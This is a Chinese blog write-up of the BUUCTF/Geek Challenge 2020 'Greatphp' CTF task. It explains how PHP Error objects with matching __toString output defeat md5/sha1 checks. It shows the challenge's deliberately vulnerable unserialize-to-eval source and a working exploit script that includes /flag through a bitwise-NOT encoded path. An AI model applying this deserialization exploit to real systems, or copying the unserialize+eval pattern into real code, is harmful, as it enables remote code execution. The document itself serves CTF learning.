[极客大挑战 2020]Greatphp

原创

H3rmesk1t 于 2021-05-31 21:02:41 发布 683 收藏 2

分类专栏： # BUUCTF-Web 文章标签： php原生类 php反序列化 web安全 ctf 新星计划

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/LYJ20010728/article/details/117429054

版权

BUUCTF-Web 专栏收录该内容

44 篇文章 1 订阅

订阅专栏

[极客大挑战 2020]Greatphp

考点

> PHP原生类利用、PHP反序列化、md5()和sha1()对类进行hash触发__toString方法

思路

> - 进入题目，分析源码，题目绕过类型第一眼看上去在ctf的基础题目中非常常见，一般情况下只需要使用数组即可绕过，但是由于这里是在类里面，我们不能这么做
> - 所以我们可以使用含有 __toString 方法的PHP内置类来绕过，用的两个比较多的内置类就是 Exception 和 Error ，他们之中有一个 __toString 方法，当类被当做字符串处理时，就会调用这个函数，以Error 类为例，我们来看看当触发他的 __toString 方法时会发生什么：

```php
<?php
    $a = new Error('H3rmesk1t',1);
    echo $a;

```

```
Error: H3rmesk1t in D:\Users\86138\Desktop\做题临时脚本\php1.php:2
Stack trace:
#0 {main}[Finished in 48ms]
```

- 发现会以字符串的形式输出当前报错，包含当前的错误信息（payload）以及当前报错的行号（2），而传入 Error(“payload”,1) 中的错误代码“1”则没有输出出来，我们再看看两个参数的，怎么绕过MD5以及sha1

```php
<?php
    $a = new Error('H3rmesk1t',1);$b = new Error('H3rmesk1t',2);
    echo $a.PHP_EOL;
    echo $b;
```

```
Error: H3rmesk1t in D:\Users\86138\Desktop\做题临时脚本\php1.php:2
Stack trace:
#0 {main}
Error: H3rmesk1t in D:\Users\86138\Desktop\做题临时脚本\php1.php:2
Stack trace:
#0 {main}[Finished in 53ms]
```

https://blog.csdn.net/LYJ20010728

- 可见，$a 和 $b 这两个对象本身是不同的，但是 __toString 方法返回的结果是相同的，这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号
- Exception 类与 Error 的使用和结果完全一样，只不过 Exception 类适用于PHP 5和7，而 Error 只适用于 PHP 7
- 我们可以将题目代码中的 $syc 和 $lover 分别声明为类似上面的内置类的对象，让这两个对象本身不同（传入的错误代码即可），但是 __toString 方法输出的结果相同即可
- 由于题目用preg_match过滤了小括号无法调用函数，所以我们尝试直接 `include "/flag"` 将flag包含进来即可；由于过滤了引号，我们直接用url取反绕过即可

Payload

题给源码

```php
<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1
($this->lover)) ){
            if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
                eval($this->syc);
            } else {
                die("Try Hard !!");
            }

        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}
?>
```

> exp如下：

```php
<?php
class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1
($this->lover)) ){
            if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
                eval($this->syc);
            } else {
                die("Try Hard !!");
            }

        }
    }
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>
```